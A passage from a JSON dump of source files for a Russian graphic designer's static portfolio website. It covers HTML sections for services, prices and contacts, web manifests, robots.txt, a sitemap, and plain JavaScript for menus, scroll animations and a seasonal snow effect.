\"https://antropove.ru/\"\n            },\n            {\n                \"@type\": \"ListItem\",\n                \"position\": 2,\n                \"name\": \"Портфолио\",\n                \"item\": \"https://antropove.ru/#portfolio\"\n            },\n            {\n                \"@type\": \"ListItem\",\n                \"position\": 3,\n                \"name\": \"Услуги\",\n                \"item\": \"https://antropove.ru/#services\"\n            },\n            {\n                \"@type\": \"ListItem\",\n                \"position\": 4,\n                \"name\": \"Контакты\",\n                \"item\": \"https://antropove.ru/#contacts\"\n            }\n        ]\n    }\n    </script>\n\n    <!-- Favicon и иконки -->\n    <link rel=\"icon\" type=\"image/x-icon\" href=\"/favicon.ico\">\n    <link rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/media/favicon-32.png\">\n    <link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/media/favicon-16.png\">\n    <link rel=\"apple-touch-icon\" sizes=\"180x180\" href=\"/media/apple-touch-icon.png\">\n    <link rel=\"manifest\" href=\"/manifest.json\">\n\n    <!-- Microsoft Tiles -->\n    <meta name=\"msapplication-TileColor\" content=\"#0A0E1A\">\n    <meta name=\"msapplication-config\" content=\"/browserconfig.xml\">\n    <meta name=\"msapplication-TileImage\" content=\"/media/icon-150.png\">\n\n    <!-- Тема браузера -->\n    <meta name=\"theme-color\" content=\"#0A0E1A\" media=\"(prefers-color-scheme: dark)\">\n    <meta name=\"theme-color\" content=\"#00A8FF\" media=\"(prefers-color-scheme: light)\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-title\" content=\"ANTROPOVE\">\n\n    <!-- Предзагрузка критических ресурсов -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n    <link rel=\"dns-prefetch\" href=\"https://fonts.googleapis.com\">\n    <link rel=\"dns-prefetch\" href=\"https://fonts.gstatic.com\">\n\n    <!-- Стили -->\n    <link href=\"https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap\" rel=\"stylesheet\">\n    <link rel=\"stylesheet\" href=\"style.css\">\n\n    <!-- Humans.txt -->\n    <link rel=\"author\" href=\"/humans.txt\">\n</head>\n\n<body>\n    <!-- Navigation -->\n    <nav class=\"navbar\">\n        <div class=\"container\">\n            <div class=\"nav-content\">\n                <a href=\"#\" class=\"logo\">ANTROPOVE</a>\n                <ul class=\"nav-menu\">\n                    <li><a href=\"#about\">Обо мне</a></li>\n                    <li><a href=\"#portfolio\">Портфолио</a></li>\n                    <li><a href=\"#services\">Услуги</a></li>\n                    <li><a href=\"#contacts\">Контакты</a></li>\n                </ul>\n                <a href=\"#contacts\" class=\"btn-primary\">Заказать дизайн</a>\n                <div class=\"burger-menu\" id=\"burgerMenu\">\n                    <span></span>\n                    <span></span>\n                    <span></span>\n                </div>\n            </div>\n        </div>\n    </nav>\n\n    <!-- Hero Section -->\n    <section class=\"hero\">\n        <div class=\"container\">\n            <div class=\"hero-content\">\n                <h1 class=\"hero-title\">ANTROPOVE</h1>\n                <p class=\"hero-subtitle\">И ваш бизнес в надежных руках.</p>\n                <a href=\"#contacts\" class=\"btn-hero\">ЗАКАЗАТЬ ДИЗАЙН</a>\n            </div>\n        </div>\n        <div class=\"hero-gradient\"></div>\n    </section>\n\n    <!-- About Section -->\n    <section id=\"about\" class=\"about\">\n        <div class=\"container\">\n            <div class=\"section-header\">\n                <h2 class=\"section-title\">Обо мне</h2>\n                <div class=\"title-line\"></div>\n            </div>\n            <div class=\"about-content\">\n                <div class=\"about-text\">\n                    <p>Я <strong>Antropove</strong> – графический дизайнер с опытом работы более трех лет! Занимаюсь разработкой web-дизайна, логотипов, баннеров, оформлением соц. сетей...</p>\n                    <p class=\"highlight\">Делаю все в срок и качественно!</p>\n                </div>\n                <div class=\"about-stats\">\n                    <div class=\"stat-item\">\n                        <div class=\"stat-number\">3</div>\n                        <div class=\"stat-label\">года опыта</div>\n                    </div>\n                    <div class=\"stat-item\">\n                        <div class=\"stat-number\">100+</div>\n                        <div class=\"stat-label\">проектов</div>\n                    </div>\n                    <div class=\"stat-item\">\n                        <div class=\"stat-number\">50+</div>\n                        <div class=\"stat-label\">клиентов</div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- Portfolio Section -->\n    <section id=\"portfolio\" class=\"portfolio\">\n        <div class=\"container\">\n            <div class=\"section-header\">\n                <h2 class=\"section-title\">Портфолио</h2>\n                <div class=\"title-line\"></div>\n            </div>\n            <div class=\"portfolio-grid\">\n                <div class=\"portfolio-item\">\n                    <div class=\"portfolio-image\">\n                        <div class=\"portfolio-placeholder\">\n                            <svg width=\"60\" height=\"60\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M21 19V5C21 3.9 20.1 3 19 3H5C3.9 3 3 3.9 3 5V19C3 20.1 3.9 21 5 21H19C20.1 21 21 20.1 21 19ZM8.5 13.5L11 16.51L14.5 12L19 18H5L8.5 13.5Z\" fill=\"currentColor\" />\n                            </svg>\n                        </div>\n                    </div>\n                    <div class=\"portfolio-info\">\n                        <h3>Web-дизайн</h3>\n                        <a href=\"#\" class=\"portfolio-link\" target=\"_blank\">Посмотреть в Figma →</a>\n                    </div>\n                </div>\n                <div class=\"portfolio-item\">\n                    <div class=\"portfolio-image\">\n                        <div class=\"portfolio-placeholder\">\n                            <svg width=\"60\" height=\"60\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M12 2L2 7V17L12 22L22 17V7L12 2ZM12 4.18L19.09 7.5L12 10.82L4.91 7.5L12 4.18ZM4 9.18L11 12.5V19.82L4 16.5V9.18ZM13 19.82V12.5L20 9.18V16.5L13 19.82Z\" fill=\"currentColor\" />\n                            </svg>\n                        </div>\n                    </div>\n                    <div class=\"portfolio-info\">\n                        <h3>Логотипы</h3>\n                        <a href=\"#\" class=\"portfolio-link\" target=\"_blank\">Посмотреть в Figma →</a>\n                    </div>\n                </div>\n                <div class=\"portfolio-item\">\n                    <div class=\"portfolio-image\">\n                        <div class=\"portfolio-placeholder\">\n                            <svg width=\"60\" height=\"60\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M19 3H5C3.9 3 3 3.9 3 5V19C3 20.1 3.9 21 5 21H19C20.1 21 21 20.1 21 19V5C21 3.9 20.1 3 19 3ZM19 19H5V5H19V19ZM7 10H9V17H7V10ZM11 7H13V17H11V7ZM15 13H17V17H15V13Z\" fill=\"currentColor\" />\n                            </svg>\n                        </div>\n                    </div>\n                    <div class=\"portfolio-info\">\n                        <h3>Баннеры</h3>\n                        <a href=\"#\" class=\"portfolio-link\" target=\"_blank\">Посмотреть в Figma →</a>\n                    </div>\n                </div>\n                <div class=\"portfolio-item\">\n                    <div class=\"portfolio-image\">\n                        <div class=\"portfolio-placeholder\">\n                            <svg width=\"60\" height=\"60\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M20 4H4C2.9 4 2 4.9 2 6V18C2 19.1 2.9 20 4 20H20C21.1 20 22 19.1 22 18V6C22 4.9 21.1 4 20 4ZM20 18H4V6H20V18ZM6 10H18V14H6V10Z\" fill=\"currentColor\" />\n                            </svg>\n                        </div>\n                    </div>\n                    <div class=\"portfolio-info\">\n                        <h3>Оформление соц. сетей</h3>\n                        <a href=\"#\" class=\"portfolio-link\" target=\"_blank\">Посмотреть в Figma →</a>\n                    </div>\n                </div>\n                <div class=\"portfolio-item\">\n                    <div class=\"portfolio-image\">\n                        <div class=\"portfolio-placeholder\">\n                            <svg width=\"60\" height=\"60\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M9 21C9 21.55 9.45 22 10 22H14C14.55 22 15 21.55 15 21V20H9V21ZM12 2C8.14 2 5 5.14 5 9C5 11.38 6.19 13.47 8 14.74V17C8 17.55 8.45 18 9 18H15C15.55 18 16 17.55 16 17V14.74C17.81 13.47 19 11.38 19 9C19 5.14 15.86 2 12 2ZM14.85 13.1L14 13.7V16H10V13.7L9.15 13.1C7.8 12.16 7 10.63 7 9C7 6.24 9.24 4 12 4C14.76 4 17 6.24 17 9C17 10.63 16.2 12.16 14.85 13.1Z\" fill=\"currentColor\" />\n                            </svg>\n                        </div>\n                    </div>\n                    <div class=\"portfolio-info\">\n                        <h3>Идеи для креативов</h3>\n                        <a href=\"#\" class=\"portfolio-link\" target=\"_blank\">Посмотреть в Figma →</a>\n                    </div>\n                </div>\n                <div class=\"portfolio-item\">\n                    <div class=\"portfolio-image\">\n                        <div class=\"portfolio-placeholder\">\n                            <svg width=\"60\" height=\"60\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M12 17.27L18.18 21L16.54 13.97L22 9.24L14.81 8.63L12 2L9.19 8.63L2 9.24L7.46 13.97L5.82 21L12 17.27Z\" fill=\"currentColor\" />\n                            </svg>\n                        </div>\n                    </div>\n                    <div class=\"portfolio-info\">\n                        <h3>Другое</h3>\n                        <a href=\"#\" class=\"portfolio-link\" target=\"_blank\">Посмотреть в Figma →</a>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- Services Section -->\n    <section id=\"services\" class=\"services\">\n        <div class=\"container\">\n            <div class=\"section-header\">\n                <h2 class=\"section-title\">Услуги и цены</h2>\n                <div class=\"title-line\"></div>\n            </div>\n            <div class=\"services-grid\">\n                <div class=\"service-card\">\n                    <div class=\"service-icon\">\n                        <svg width=\"40\" height=\"40\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M21 2H3C1.9 2 1 2.9 1 4V16C1 17.1 1.9 18 3 18H10V20H8V22H16V20H14V18H21C22.1 18 23 17.1 23 16V4C23 2.9 22.1 2 21 2ZM21 16H3V4H21V16Z\" fill=\"currentColor\" />\n                        </svg>\n                    </div>\n                    <h3>Дизайн лендинга</h3>\n                    <p class=\"service-price\">от 3.000₽</p>\n                    <p class=\"service-description\">Современный одностраничный сайт для вашего бизнеса</p>\n                </div>\n                <div class=\"service-card\">\n                    <div class=\"service-icon\">\n                        <svg width=\"40\" height=\"40\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M4 6H2V20C2 21.1 2.9 22 4 22H18V20H4V6ZM20 2H8C6.9 2 6 2.9 6 4V16C6 17.1 6.9 18 8 18H20C21.1 18 22 17.1 22 16V4C22 2.9 21.1 2 20 2ZM20 16H8V4H20V16ZM10 9H18V11H10V9ZM10 12H14V14H10V12ZM10 6H18V8H10V6Z\" fill=\"currentColor\" />\n                        </svg>\n                    </div>\n                    <h3>Дизайн многостраничного сайта</h3>\n                    <p class=\"service-price\">от 7.000₽</p>\n                    <p class=\"service-description\">Полноценный веб-сайт с несколькими страницами</p>\n                </div>\n                <div class=\"service-card\">\n                    <div class=\"service-icon\">\n                        <svg width=\"40\" height=\"40\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M12 2L1 21H23L12 2ZM12 6L19.53 19H4.47L12 6ZM11 10V14H13V10H11ZM11 16V18H13V16H11Z\" fill=\"currentColor\" />\n                        </svg>\n                    </div>\n                    <h3>Разработка логотипа</h3>\n                    <p class=\"service-price\">от 500₽</p>\n                    <p class=\"service-description\">Уникальный логотип для вашего бренда</p>\n                </div>\n                <div class=\"service-card\">\n                    <div class=\"service-icon\">\n                        <svg width=\"40\" height=\"40\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M20 4H4C2.9 4 2 4.9 2 6V18C2 19.1 2.9 20 4 20H20C21.1 20 22 19.1 22 18V6C22 4.9 21.1 4 20 4ZM20 18H4V8H20V18ZM6 10H10V12H6V10ZM6 14H14V16H6V14ZM16 10H18V16H16V10Z\" fill=\"currentColor\" />\n                        </svg>\n                    </div>\n                    <h3>Оформление группы ВК</h3>\n                    <p class=\"service-price\">от 1.000₽</p>\n                    <p class=\"service-description\">Профессиональное оформление вашей группы ВКонтакте</p>\n                </div>\n            </div>\n            <div class=\"other-services\">\n                <a href=\"#\" class=\"btn-link\" target=\"_blank\">Другие услуги...</a>\n            </div>\n        </div>\n    </section>\n\n    <!-- Contacts Section -->\n    <section id=\"contacts\" class=\"contacts\">\n        <div class=\"container\">\n            <div class=\"section-header\">\n                <h2 class=\"section-title\">Контакты</h2>\n                <div class=\"title-line\"></div>\n            </div>\n            <div class=\"contacts-content\">\n                <div class=\"social-links\">\n                    <a href=\"#\" class=\"social-card\" data-social=\"telegram\" target=\"_blank\">\n                        <div class=\"social-icon telegram\">\n                            <img src=\"media/telegram.png\" alt=\"Telegram\" width=\"20\" height=\"20\">\n                        </div>\n                        <div class=\"social-info\">\n                            <h3>Telegram</h3>\n                            <p>Свяжитесь со мной в Telegram</p>\n                        </div>\n                    </a>\n                    <a href=\"#\" class=\"social-card\" data-social=\"vk\" target=\"_blank\">\n                        <div class=\"social-icon vk\">\n                            <img src=\"media/vk.png\" alt=\"VK\" width=\"20\" height=\"20\">\n                        </div>\n                        <div class=\"social-info\">\n                            <h3>ВКонтакте</h3>\n                            <p>Моя группа ВКонтакте</p>\n                        </div>\n                    </a>\n                    <a href=\"#\" class=\"social-card\" data-social=\"kwork\" target=\"_blank\">\n                        <div class=\"social-icon kwork\">\n                            <img src=\"media/kwork.png\" alt=\"Kwork\" width=\"20\" height=\"20\">\n                        </div>\n                        <div class=\"social-info\">\n                            <h3>Kwork</h3>\n                            <p>Мой профиль на Kwork</p>\n                        </div>\n                    </a>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- Client Info Section -->\n    <section class=\"client-info\">\n        <div class=\"container\">\n            <div class=\"section-header\">\n                <h2 class=\"section-title\">Информация для клиента</h2>\n                <div class=\"title-line\"></div>\n            </div>\n            <div class=\"info-content\">\n                <div class=\"info-block\">\n                    <div class=\"info-icon\">⚠️</div>\n                    <p><strong>Внимание!</strong> Ознакомьтесь с информацией для клиента, так мы лучше друг-друга поймем :D</p>\n                </div>\n                <div class=\"info-list\">\n                    <div class=\"info-item\">\n                        <div class=\"info-bullet\">💬</div>\n                        <div class=\"info-text\">\n                            <p>Для заказа дизайна можно написать в <a href=\"#contacts\" class=\"scroll-link\">любую из соц-сетей</a>.</p>\n                        </div>\n                    </div>\n                    <div class=\"info-item\">\n                        <div class=\"info-bullet\">📋</div>\n                        <div class=\"info-text\">\n                            <p>Чтобы работа вышла максимально качественной, нужно чтобы вы подробно объяснили вашу задумку, прислали необходимые материалы или же референсы (если есть), таким образом я точно пойму что вы хотите, и сделаю все по вашим пожеланиям.</p>\n                        </div>\n                    </div>\n                    <div class=\"info-item\">\n                        <div class=\"info-bullet\">💰</div>\n                        <div class=\"info-text\">\n                            <p>Цену за работу и дедлайн мы обговариваем лично.</p>\n                        </div>\n                    </div>\n                    <div class=\"info-item\">\n                        <div class=\"info-bullet\">💳</div>\n                        <div class=\"info-text\">\n                            <p>Оплата принимается только на банковскую карту / Crypto-bot</p>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- Footer -->\n    <footer class=\"footer\">\n        <div class=\"container\">\n            <div class=\"footer-content\">\n                <p class=\"footer-text\">© 2025 ANTROPOVE. Все права защищены.</p>\n                <p class=\"footer-credit\">Developed with <span class=\"heart\">♥</span> by <a href=\"https://dosx.su\" class=\"dosx\" target=\"_blank\">DosX</a></p>\n            </div>\n        </div>\n    </footer>\n\n    <script src=\"script.resources.js\"></script>\n    <script src=\"script.js\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "server-0/antropove.ru/manifest.json",
    "content": "{\n  \"name\": \"ANTROPOVE - Графический дизайнер\",\n  \"short_name\": \"ANTROPOVE\",\n  \"description\": \"Графический дизайнер с опытом более 3 лет. Web-дизайн, логотипы, баннеры, оформление соц. сетей. Качественно и в срок!\",\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"background_color\": \"#0A0E1A\",\n  \"theme_color\": \"#00A8FF\",\n  \"orientation\": \"portrait-primary\",\n  \"lang\": \"ru-RU\",\n  \"scope\": \"/\",\n  \"icons\": [\n    {\n      \"src\": \"/media/icon-192.png\",\n      \"sizes\": \"192x192\",\n      \"type\": \"image/png\",\n      \"purpose\": \"any maskable\"\n    },\n    {\n      \"src\": \"/media/icon-512.png\",\n      \"sizes\": \"512x512\",\n      \"type\": \"image/png\",\n      \"purpose\": \"any maskable\"\n    }\n  ],\n  \"categories\": [\"design\", \"business\", \"portfolio\"],\n  \"screenshots\": [],\n  \"shortcuts\": [\n    {\n      \"name\": \"Портфолио\",\n      \"short_name\": \"Портфолио\",\n      \"url\": \"/#portfolio\",\n      \"icons\": []\n    },\n    {\n      \"name\": \"Услуги\",\n      \"short_name\": \"Услуги\", \n      \"url\": \"/#services\",\n      \"icons\": []\n    },\n    {\n      \"name\": \"Контакты\",\n      \"short_name\": \"Контакты\",\n      \"url\": \"/#contacts\",\n      \"icons\": []\n    }\n  ]\n}\n"
  },
  {
    "path": "server-0/antropove.ru/robots.txt",
    "content": "# ============================================\n# ANTROPOVE - Robots.txt\n# Графический дизайнер | Web-дизайн, логотипы\n# ============================================\n\n# Основные поисковые системы\nUser-agent: Googlebot\nAllow: /\nDisallow: /media/*.png$\nCrawl-delay: 1\n\nUser-agent: Yandex\nAllow: /\nDisallow: /media/*.png$\nCrawl-delay: 1\n\nUser-agent: Mail.Ru\nAllow: /\nCrawl-delay: 2\n\nUser-agent: Bingbot\nAllow: /\nCrawl-delay: 1\n\n# Все остальные боты\nUser-agent: *\nAllow: /\nDisallow: /media/*.png$\n\n# Запрещаем индексацию служебных файлов\nUser-agent: *\nDisallow: /*.js$\nDisallow: /*.css$\nDisallow: /script.resources.js\n\n# Разрешаем CSS и JS для правильного рендеринга (Google)\nUser-agent: Googlebot\nAllow: /*.js$\nAllow: /*.css$\n\nUser-agent: Yandex\nAllow: /*.js$\nAllow: /*.css$\n\n# Блокируем плохих ботов\nUser-agent: AhrefsBot\nDisallow: /\n\nUser-agent: SemrushBot\nDisallow: /\n\nUser-agent: DotBot\nDisallow: /\n\nUser-agent: MJ12bot\nDisallow: /\n\nUser-agent: BLEXBot\nDisallow: /\n\n# Карта сайта\nSitemap: https://antropove.ru/sitemap.xml\n\n# Основной хост\nHost: https://antropove.ru\n"
  },
  {
    "path": "server-0/antropove.ru/script.js",
    "content": "// Developed with ❤️ by DosX :: https://dosx.su\n\n// Initialize social links from resources\nfunction initializeSocialLinks() {\n    if (typeof RESOURCES === 'undefined') {\n        console.warn('⚠️ RESOURCES не загружены. Проверьте script.resources.js');\n        return;\n    }\n\n    // Подстановка ссылок на соц. сети\n    document.querySelectorAll('.social-card[data-social]').forEach(card => {\n        const socialType = card.getAttribute('data-social');\n        if (RESOURCES.social[socialType]) {\n            card.href = RESOURCES.social[socialType];\n        }\n    });\n\n    // Подстановка ссылки \"Другие услуги\"\n    const otherServicesLink = document.querySelector('.other-services .btn-link');\n    if (otherServicesLink && RESOURCES.otherServices) {\n        otherServicesLink.href = RESOURCES.otherServices;\n    }\n\n    // Подстановка ссылок на портфолио (если нужно)\n    const portfolioLinks = document.querySelectorAll('.portfolio-link');\n    const portfolioKeys = ['webDesign', 'logos', 'banners', 'socialMedia', 'creatives', 'other'];\n    portfolioLinks.forEach((link, index) => {\n        if (RESOURCES.portfolio[portfolioKeys[index]]) {\n            link.href = RESOURCES.portfolio[portfolioKeys[index]];\n        }\n    });\n\n    console.log('🔗 Ссылки инициализированы из resources');\n}\n\n// Инициализация при загрузке страницы\ndocument.addEventListener('DOMContentLoaded', initializeSocialLinks);\n\n// Burger Menu Toggle\nconst burgerMenu = document.getElementById('burgerMenu');\nconst navMenu = document.querySelector('.nav-menu');\n\nburgerMenu.addEventListener('click', () => {\n    navMenu.classList.toggle('active');\n    burgerMenu.classList.toggle('active');\n});\n\n// Close menu when clicking on a link\ndocument.querySelectorAll('.nav-menu a').forEach(link => {\n    link.addEventListener('click', () => {\n        navMenu.classList.remove('active');\n        burgerMenu.classList.remove('active');\n    });\n});\n\n// Smooth scroll for internal links\ndocument.querySelectorAll('a[href^=\"#\"]').forEach(anchor => {\n    anchor.addEventListener('click', function (e) {\n        e.preventDefault();\n        const target = document.querySelector(this.getAttribute('href'));\n        if (target) {\n            const offsetTop = target.offsetTop - 80; // Account for fixed navbar\n            window.scrollTo({\n                top: offsetTop,\n                behavior: 'smooth'\n            });\n        }\n    });\n});\n\n// Navbar background on scroll\nlet lastScroll = 0;\nconst navbar = document.querySelector('.navbar');\n\nwindow.addEventListener('scroll', () => {\n    const currentScroll = window.pageYOffset;\n\n    if (currentScroll > 100) {\n        navbar.style.background = 'rgba(10, 14, 26, 0.98)';\n        navbar.style.boxShadow = '0 4px 16px rgba(0, 0, 0, 0.2)';\n    } else {\n        navbar.style.background = 'rgba(10, 14, 26, 0.95)';\n        navbar.style.boxShadow = 'none';\n    }\n\n    lastScroll = currentScroll;\n});\n\n// Intersection Observer for scroll animations\nconst observerOptions = {\n    threshold: 0.1,\n    rootMargin: '0px 0px -100px 0px'\n};\n\nconst observer = new IntersectionObserver((entries) => {\n    entries.forEach(entry => {\n        if (entry.isIntersecting) {\n            entry.target.style.opacity = '1';\n            entry.target.style.transform = 'translateY(0)';\n        }\n    });\n}, observerOptions);\n\n// Observe sections for animations\ndocument.querySelectorAll('section').forEach(section => {\n    section.style.opacity = '0';\n    section.style.transform = 'translateY(30px)';\n    section.style.transition = 'opacity 0.6s ease, transform 0.6s ease';\n    observer.observe(section);\n});\n\n// Hero section is always visible\ndocument.querySelector('.hero').style.opacity = '1';\ndocument.querySelector('.hero').style.transform = 'translateY(0)';\n\n// Particle effect for hero section (optional enhancement)\nfunction createParticles() {\n    const hero = document.querySelector('.hero');\n    const particlesCount = 30;\n\n    for (let i = 0; i < particlesCount; i++) {\n        const particle = document.createElement('div');\n        particle.style.position = 'absolute';\n        particle.style.width = Math.random() * 4 + 1 + 'px';\n        particle.style.height = particle.style.width;\n        particle.style.background = 'rgba(0, 168, 255, 0.5)';\n        particle.style.borderRadius = '50%';\n        particle.style.left = Math.random() * 100 + '%';\n        particle.style.top = Math.random() * 100 + '%';\n        particle.style.pointerEvents = 'none';\n        particle.style.animation = `float ${Math.random() * 10 + 5}s ease-in-out infinite`;\n        particle.style.animationDelay = Math.random() * 5 + 's';\n\n        hero.appendChild(particle);\n    }\n}\n\n// Add float animation\nconst style = document.createElement('style');\nstyle.textContent = `\n    @keyframes float {\n        0%, 100% {\n            transform: translateY(0) translateX(0);\n            opacity: 0;\n        }\n        50% {\n            opacity: 0.8;\n        }\n        100% {\n            transform: translateY(-100vh) translateX(${Math.random() * 200 - 100}px);\n            opacity: 0;\n        }\n    }\n`;\ndocument.head.appendChild(style);\n\n// Initialize particles\ncreateParticles();\n\nconsole.log('🎨 ANTROPOVE Website loaded successfully!');\n\n// Winter Snow Effect\nlet snowInterval = null;\nlet snowContainer = null;\nlet isSnowing = false;\n\nfunction isWinter() {\n    const currentMonth = new Date().getMonth(); // 0 = January, 11 = December\n    // Winter months: December (11), January (0), February (1)\n    return currentMonth === 11 || currentMonth === 0 || currentMonth === 1;\n}\n\nfunction createSnowflake() {\n    if (!snowContainer) {\n        snowContainer = document.createElement('div');\n        snowContainer.id = 'snow-container';\n        snowContainer.style.transition = 'opacity 1s ease';\n        document.body.appendChild(snowContainer);\n    }\n\n    const snowflake = document.createElement('div');\n    snowflake.classList.add('snowflake');\n    snowflake.innerHTML = '❄';\n    snowflake.style.left = Math.random() * 100 + 'vw';\n    snowflake.style.animationDuration = Math.random() * 7.5 + 10 + 's'; // 10-17.5s (в 2.5 раза медленнее)\n    snowflake.style.opacity = (Math.random() * 0.3 + 0.2) * 0.5; // 0.1-0.25 (50% прозрачности)\n    snowflake.style.fontSize = Math.random() * 10 + 10 + 'px'; // 10-20px\n\n    snowContainer.appendChild(snowflake);\n\n    // Remove snowflake after animation with fade out\n    const duration = parseFloat(snowflake.style.animationDuration) * 1000;\n    setTimeout(() => {\n        snowflake.style.transition = 'opacity 0.8s ease';\n        snowflake.style.opacity = '0';\n        setTimeout(() => snowflake.remove(), 800);\n    }, duration - 800);\n}\n\nfunction startSnow() {\n    if (!isSnowing && isWinter()) {\n        isSnowing = true;\n\n        if (!snowContainer) {\n            snowContainer = document.createElement('div');\n            snowContainer.id = 'snow-container';\n            snowContainer.style.opacity = '0';\n            snowContainer.style.transition = 'opacity 1s ease';\n            document.body.appendChild(snowContainer);\n        }\n\n        // Fade in snow container\n        setTimeout(() => {\n            if (snowContainer) snowContainer.style.opacity = '1';\n        }, 50);\n\n        // Create initial snowflakes\n        for (let i = 0; i < 15; i++) {\n            setTimeout(() => createSnowflake(), i * 300);\n        }\n\n        // Continue creating snowflakes\n        snowInterval = setInterval(() => {\n            createSnowflake();\n        }, 1000);\n\n        console.log('❄️ Winter mode activated!');\n    }\n}\n\nfunction stopSnow() {\n    if (isSnowing) {\n        isSnowing = false;\n\n        // Stop creating new snowflakes\n        if (snowInterval) {\n            clearInterval(snowInterval);\n            snowInterval = null;\n        }\n\n        // Fade out existing snowflakes\n        if (snowContainer) {\n            snowContainer.style.opacity = '0';\n            setTimeout(() => {\n                if (snowContainer) {\n                    snowContainer.innerHTML = '';\n                }\n            }, 1000);\n        }\n    }\n}\n\n// Handle scroll for snow effect\nif (isWinter()) {\n    let heroHeight = 0;\n\n    window.addEventListener('load', () => {\n        const heroSection = document.querySelector('.hero');\n        if (heroSection) {\n            heroHeight = heroSection.offsetHeight;\n        }\n    });\n\n    window.addEventListener('scroll', () => {\n        const scrollPosition = window.pageYOffset;\n\n        if (scrollPosition > heroHeight * 0.7) {\n            startSnow();\n        } else {\n            stopSnow();\n        }\n    });\n}"
  },
  {
    "path": "server-0/antropove.ru/script.resources.js",
    "content": "// Developed with ❤️ by DosX :: https://dosx.su\n\nconst RESOURCES = {\n    social: {\n        telegram: 'https://t.me/your_username', // Заменить на свою ссылку\n        vk: 'https://vk.com/your_group', // Заменить на свою группу\n        kwork: 'https://kwork.ru/user/your_profile' // Заменить на свой профиль\n    },\n\n    // Ссылки на портфолио в Figma\n    portfolio: {\n        webDesign: '#', // Ссылка на web-дизайн\n        logos: '#', // Ссылка на логотипы\n        banners: '#', // Ссылка на баннеры\n        socialMedia: '#', // Ссылка на оформление соц. сетей\n        creatives: '#', // Ссылка на идеи для креативов\n        other: '#' // Ссылка на другое\n    },\n\n    otherServices: 'https://vk.com/your_group' // Заменить на свою группу\n};\n\nif (typeof module !== 'undefined' && module.exports) {\n    module.exports = RESOURCES;\n}"
  },
  {
    "path": "server-0/antropove.ru/site.webmanifest",
    "content": "{\n  \"name\": \"ANTROPOVE - Графический дизайнер\",\n  \"short_name\": \"ANTROPOVE\",\n  \"description\": \"Графический дизайнер с опытом более 3 лет. Web-дизайн, логотипы, баннеры, оформление соц. сетей.\",\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"background_color\": \"#0A0E1A\",\n  \"theme_color\": \"#00A8FF\",\n  \"orientation\": \"portrait-primary\",\n  \"lang\": \"ru-RU\",\n  \"scope\": \"/\",\n  \"icons\": [\n    {\n      \"src\": \"/media/android-chrome-192x192.png\",\n      \"sizes\": \"192x192\",\n      \"type\": \"image/png\"\n    },\n    {\n      \"src\": \"/media/android-chrome-512x512.png\",\n      \"sizes\": \"512x512\",\n      \"type\": \"image/png\"\n    }\n  ]\n}\n"
  },
  {
    "path": "server-0/antropove.ru/sitemap.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\n        xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n        xmlns:image=\"http://www.google.com/schemas/sitemap-image/1.1\"\n        xsi:schemaLocation=\"http://www.sitemaps.org/schemas/sitemap/0.9\n                            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd\">\n    \n    <!-- Главная страница -->\n    <url>\n        <loc>https://antropove.ru/</loc>\n        <lastmod>2025-12-05</lastmod>\n        <changefreq>weekly</changefreq>\n        <priority>1.0</priority>\n    </url>\n    \n    <!-- Секция \"Обо мне\" -->\n    <url>\n        <loc>https://antropove.ru/#about</loc>\n        <lastmod>2025-12-05</lastmod>\n        <changefreq>monthly</changefreq>\n        <priority>0.8</priority>\n    </url>\n    \n    <!-- Секция \"Портфолио\" -->\n    <url>\n        <loc>https://antropove.ru/#portfolio</loc>\n        <lastmod>2025-12-05</lastmod>\n        <changefreq>weekly</changefreq>\n        <priority>0.9</priority>\n    </url>\n    \n    <!-- Секция \"Услуги\" -->\n    <url>\n        <loc>https://antropove.ru/#services</loc>\n        <lastmod>2025-12-05</lastmod>\n        <changefreq>monthly</changefreq>\n        <priority>0.9</priority>\n    </url>\n    \n    <!-- Секция \"Контакты\" -->\n    <url>\n        <loc>https://antropove.ru/#contacts</loc>\n        <lastmod>2025-12-05</lastmod>\n        <changefreq>monthly</changefreq>\n        <priority>0.8</priority>\n    </url>\n\n</urlset>\n"
  },
  {
    "path": "server-0/antropove.ru/style.css",
